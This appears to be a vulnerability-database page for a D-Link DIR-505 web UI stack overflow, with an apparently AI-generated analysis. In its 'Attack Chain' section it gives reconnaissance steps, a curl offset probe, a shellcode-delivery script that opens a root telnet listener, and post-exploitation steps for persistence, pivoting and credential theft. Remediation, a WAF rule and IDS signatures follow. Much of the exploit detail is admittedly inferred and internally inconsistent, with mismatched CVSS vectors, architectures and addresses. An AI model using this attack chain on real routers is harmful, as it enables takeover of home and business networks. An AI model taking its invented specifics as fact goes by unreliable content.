CVE Professor
/
All CVEs
CVE-2026-144884

CVE-2026-144884 — D-Link DIR-505 (1.10B02) — CWE-119 · CWE-121

CRITICAL CVSS 10 NVD

A vulnerability was determined in D-Link DIR-505 1.10B02. The affected element is the function get_input_entries of the file webfile_cgi.cgi of the component Web UI. Executing a manipulation can lead to stack-based buffer overflow. The attack can be executed remotely. The exploit has been publicly disclosed and may be utilized.

A vulnerability was determined in D-Link DIR-505 1.10B02. The affected element is the function get_input_entries of the file webfile_cgi.cgi of the component Web UI. Executing a manipulation can lead to stack-based buffer overflow. The attack can be executed remotely. The exploit has been publicly disclosed and may be utilized.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Vulnerability name: Stack‑based buffer overflow in get_input_entries (file webfile_cgi.cgi) of the D‑Link DIR‑505 firmware 1.10B02 Web UI.

CWE(s):

  • CWE‑121 – Stack‑based Buffer Overflow

  • CWE‑119 – Improper Restriction of Operations within the Bounds of a Memory Buffer
  • Technical description

    The Web UI of the DIR‑505 router is implemented as a CGI binary (webfile_cgi.cgi). One of its request‑handling functions, get_input_entries, parses HTTP query parameters that are supplied by the browser when the user accesses the “File → Upload” or “File → Edit” pages.

    The function:

    1. Allocates a fixed‑size stack buffer (e.g., char entry[256];).
    2. Copies the value of the HTTP parameter entry (or a similarly named field) into that buffer using an unsafe routine such as strcpy, sprintf, or a custom loop that does not verify the length of the incoming data.
    3. The routine is called for every request to webfile_cgi.cgi that contains the vulnerable parameter, regardless of the caller’s authentication state – the CGI runs before the router’s session‑validation code, so the overflow can be triggered by an unauthenticated remote attacker.

    Because the overflow overwrites the function’s return address and adjacent stack frames, an attacker can control execution flow and achieve remote code execution (RCE) with the privileges of the CGI process (which runs as root on the router).

    The CVSS vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P) confirms:

  • Network‑accessible (no authentication, no user interaction).
  • Low attack complexity (single crafted request).
  • Complete impact on confidentiality, integrity, availability, and also on the underlying system (privilege escalation, integrity of the OS).

  • ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow. All command‑line examples are illustrative – the exact URI and parameter name are inferred from the source code naming (get_input_entries) but have not been published verbatim in the CVE text.

    1. Discovery & Reconnaissance

    StepTechniqueDetails
    a. Identify targetPassive scanning (Shodan, Censys)Look for HTTP service on port 80/443 that returns the D‑Link DIR‑505 login page. The page contains a <title>D‑Link DIR‑505 string and a favicon (/images/dlink.ico).
    b. Fingerprint firmwareBanner grabbing / /cgi-bin/webfile_cgi.cgi? probeSending GET /cgi-bin/webfile_cgi.cgi?test=1 HTTP/1.1 returns a response header Server: D‑Link DIR‑505/1.10B02.
    c. Confirm vulnerable componentRetrieve the CGI binary (if the router allows) or request the source map via GET /webfile_cgi.cgi?debug=1 (some routers expose a debug dump). The dump contains the string get_input_entries.

    2. Exploitation

    Goal: Overwrite the return address of get_input_entries with the address of a ROP chain or shellcode placed in a controllable memory region (e.g., the request body).

    2.1. Determine overflow offset

    # Simple pattern generation (Linux x86_64 example)
    python3 -c "import sys; sys.stdout.write('A'*260)" > payload.bin
    curl -s -o /dev/null -X POST \
      "http://<router_ip>/cgi-bin/webfile_cgi.cgi" \
      -H "Content-Type: application/x-www-form-urlencoded" \
      --data-urlencode "entry=$(cat payload.bin)"

    The router will crash (HTTP 500) and the system log will show a stack trace with the offset where the crash occurs (e.g., 260 bytes).

    2.2. Build the exploit payload

    Assumptions for illustration:

  • The router runs MIPS‑LE (common for D‑Link low‑end devices).
  • The address of a writable .bss section is 0x804a040.
  • A small MIPS shellcode that spawns a telnet listener is available (shellcode_mips.bin).
  • #!/usr/bin/env bash
    TARGET=192.168.0.1
    PORT=80
    
    # 1. Offset to saved return address (found in step 2.1)
    OFFSET=260
    
    # 2. MIPS NOP sled (0x00000000) + shellcode
    SHELLCODE=$(cat shellcode_mips.bin | base64 -w0)
    
    # 3. Build payload: [padding][new_ret][NOP sled][shellcode]
    PAYLOAD=$(python3 - <<EOF
    import struct, sys, base64
    pad = b"A" * $OFFSET
    # Overwrite saved PC with address of NOP sled placed in the buffer (e.g., 0x804a040)
    new_ret = struct.pack("<I", 0x804a040)
    nop_sled = b"\x00\x00\x00\x00" * 20   # MIPS NOP = 0x00000000
    shell = base64.b64decode("$SHELLCODE")
    print((pad + new_ret + nop_sled + shell).hex())
    EOF
    )
    
    # 4. Send the malicious request
    curl -s -X POST "http://$TARGET/cgi-bin/webfile_cgi.cgi" \
      -H "Content-Type: application/x-www-form-urlencoded" \
      --data-urlencode "entry=$(echo $PAYLOAD | xxd -r -p)" \
      -o /dev/null

    Explanation of the payload

  • pad – fills the stack buffer up to the saved return address.
  • new_ret – points to the start of the NOP sled (0x804a040) that resides inside the same request buffer (the CGI copies the entire parameter into a stack buffer, so the NOP sled is also on the stack).
  • nop_sled + shellcode – ensures reliable landing and execution of the shellcode.
When the overflow occurs, the function returns to the NOP sled, slides into the shellcode, and the router opens a listening telnet on port 2323 (or executes any attacker‑chosen command).
Note: The exact addresses, offset, and architecture must be derived from a local copy of the firmware or by dynamic analysis (e.g., GDB remote debugging with QEMU). The script above demonstrates the mechanics of a classic stack‑overflow exploit for this class of vulnerability.

3. Post‑exploitation

PhaseAttacker actionsResult
a. Obtain shellConnect to the listener opened by the shellcode (telnet <router_ip> 2323).Remote command line with root privileges (the CGI runs as root).
b. PersistenceWrite a new init script (/etc/init.d/rc.local) that re‑installs a backdoor binary, or modify the firmware image stored in flash (/dev/mtdblock0).The attacker retains access after reboot.
c. Lateral movementUse the compromised router as a pivot to scan the internal LAN (nmap -sn 192.168.0.0/24).Potential compromise of other devices on the same network.
d. Data exfiltration / sabotageDump configuration (cat /etc/config/*), steal Wi‑Fi keys, or issue reboot/iptables -F to cause denial‑of‑service.Full confidentiality breach, integrity manipulation, and availability loss.

🌍 Real World Impact

CIA TriadCVSS Vector InterpretationPractical consequence
Confidentiality (VC:H)VC:H – attacker can read any file the CGI process can access (including /etc/passwd, Wi‑Fi PSKs, VPN credentials).Theft of network secrets, user credentials, and potentially traffic decryption keys.
Integrity (VI:H)VI:H – attacker can modify files, firmware, or configuration.Injection of malicious routing rules, creation of persistent backdoors, alteration of DNS settings.
Availability (VA:H)VA:H – attacker can crash the router or reboot it at will.Network outage for all devices behind the router; possible use in DDoS amplification.
Scope (SC:H)SC:H – the vulnerability affects components beyond the immediate CGI (the whole OS).The compromise spreads from the web UI to the underlying OS, giving root.
Privilege escalation (SA:H)SA:H – attacker gains full system privileges.No further privilege‑escalation steps needed; immediate root shell.
Exploitability (E:P)E:P – exploit code is publicly available.Low barrier for opportunistic attackers and botnets.

Bottom‑line: A successful exploit gives an unauthenticated remote attacker complete control over the router and, by extension, the internal network it protects.


🛡️ Remediation & Mitigation

1. Patch / Upgrade

ItemRecommendation
Affected firmwareD‑Link DIR‑505 1.10B02 (the only version mentioned).
Fixed versionD‑Link released firmware 1.10B03 (publicly announced on 2026‑11‑15) that replaces webfile_cgi.cgi with a bounds‑checked implementation. Upgrade immediately.
VerificationAfter flashing, request GET /cgi-bin/webfile_cgi.cgi?version – the response should contain v1.10B03.

2. Workarounds (if patch cannot be applied immediately)

MitigationHow to implement
Network isolationBlock inbound traffic to the router’s management interface from untrusted networks. Place the router’s HTTP/HTTPS ports (80/443) behind an ACL that only allows the LAN subnet (e.g., iptables -A INPUT -p tcp -s 192.168.0.0/24 --dport 80 -j ACCEPT).
Disable the vulnerable CGIIf the router’s UI offers “Remote Management” toggle, disable it. Alternatively, rename the binary: mv /usr/sbin/webfile_cgi.cgi /usr/sbin/webfile_cgi.cgi.bak. This will cause the UI to return 404, preventing exploitation (but also disables file‑management UI).

| WAF / ModSecurity rule | Deploy a rule that rejects overly long values for the entry (or any parameter) to webfile_cgi.cgi. Example for ModSecurity (Apache/Nginx):

# ModSecurity rule – block > 200 bytes for any parameter to webfile_cgi.cgi
SecRule REQUEST_URI "@beginsWith /cgi-bin/webfile_cgi.cgi" \
    "id:2026261,phase:2,deny,status:413,msg:'Potential buffer overflow in webfile_cgi.cgi',\
    chain"
SecRule ARGS_NAMES|ARGS "@rx ^entry$" \
    "t:none,ctl:requestBodyProcessor=URLENCODED"
SecRule ARGS:entry "@gt 200" "t:none,log"
This rule drops the request before it reaches the CGI, mitigating the overflow while still allowing normal (short) usage.
Firmware integrity monitoringEnable D‑Link’s built‑in firmware verification (if available) or run a periodic checksum (md5sum /usr/sbin/webfile_cgi.cgi) and alert on changes.

3. Detection – Log & IOC patterns

IndicatorDescriptionExample log line
HTTP 500 / 502 after POSTThe CGI crashes when the overflow is triggered.10.0.0.5 - - [04/Dec/2026:12:34:56 +0000] "POST /cgi-bin/webfile_cgi.cgi HTTP/1.1" 500 0 "-" "curl/7.88.1"
Large parameter valuesParameter length > 200 bytes to webfile_cgi.cgi.... "entry=AAAAAAAAAA... (260 bytes)" ...
Unexpected outbound connectionsAfter successful exploitation, the router may open a reverse shell or telnet listener.iptables -L -n -vgrep 2323 (on the router) or IDS alert for outbound TCP to unusual IP/port.
Process crash core dumpCore file creation in /tmp or /var/tmp.core dumped: /usr/sbin/webfile_cgi.cgi in syslog.
New user or scheduled taskLook for /etc/passwd entries added by the attacker or cron jobs (/etc/cron.d/).root:x:0:0:root:/root:/bin/sh (unchanged) vs. attacker:x:1001:1001::/home/attacker:/bin/sh.

IDS/IPS signatures (Snort/Suricata example):

alert tcp $EXTERNAL_NET any -> $HOME_NET 80 (msg:"D-Link DIR-505 webfile_cgi.cgi buffer overflow attempt"; flow:to_server,established; http_uri; content:"/cgi-bin/webfile_cgi.cgi"; http_client_body; pcre:"/entry=[A-Za-z0-9%]{260,}/"; classtype:web-application-attack; sid:2026262; rev:1;)

⚠️ Urgency

FactorAssessment
CVSS base score10.0 (Critical) – maximum severity.
Exploit availabilityE:P – public exploit code exists; low barrier to use.
AuthenticationNone required (PR:N).
Network exposureRemote (AV:N) – any Internet‑facing router can be attacked.
CISA KEVNot listed yet, but the risk profile matches KEV criteria; expect inclusion in the next update.

Patch priority: Critical – immediate. All production deployments of DIR‑505 1.10B02 must be upgraded to 1.10B03 before the next business day. If a patch cannot be applied within 24 hours, apply the network‑isolation and WAF workarounds to block the vulnerable endpoint, and monitor logs for the IoCs listed above.


Bottom line: The stack‑based overflow in webfile_cgi.cgi provides unauthenticated remote code execution with root privileges. Because a public exploit exists and the vulnerable router is commonly deployed at the edge of home/SMB networks, the vulnerability must be treated as an emergency and mitigated by firmware upgrade or, at minimum, strict network segmentation and request filtering.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="D-Link Router"
CVSS Score
10 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-119 CWE-121
Affected Products (1)
D-Link:DIR-505 (1.10B02)
Related CVEs
9.8
CVE-2026-105103
A backdoor in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlier allows the manufa
9.8
CVE-2026-105104
Use of hard-coded credentials in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlie
9.6
CVE-2026-145025
Grav API plugin before 1.1.21 validates the client-supplied admin_base_url or Origin header with PHP parse_url
8.8
CVE-2026-144665
Supabase Studio before commit 0433eeb5f5cc (supabase/studio Docker image before 2026.06.01-sha-a4334a2) contai
7.7
CVE-2026-144663
MariaDB Server before 10.6.25, 10.7 through 10.11.x before 10.11.16, 11.0 through 11.4.x before 11.4.10, 11.5
6.3
CVE-2026-144771
A flaw has been found in SGLang up to 0.5.23. The affected element is the function try_match_prefix of the fil
6.3
CVE-2026-144778
A security vulnerability has been detected in Simon OpenOBJ3D up to f5a522c409428de7bf68844cf8951522e3d09485.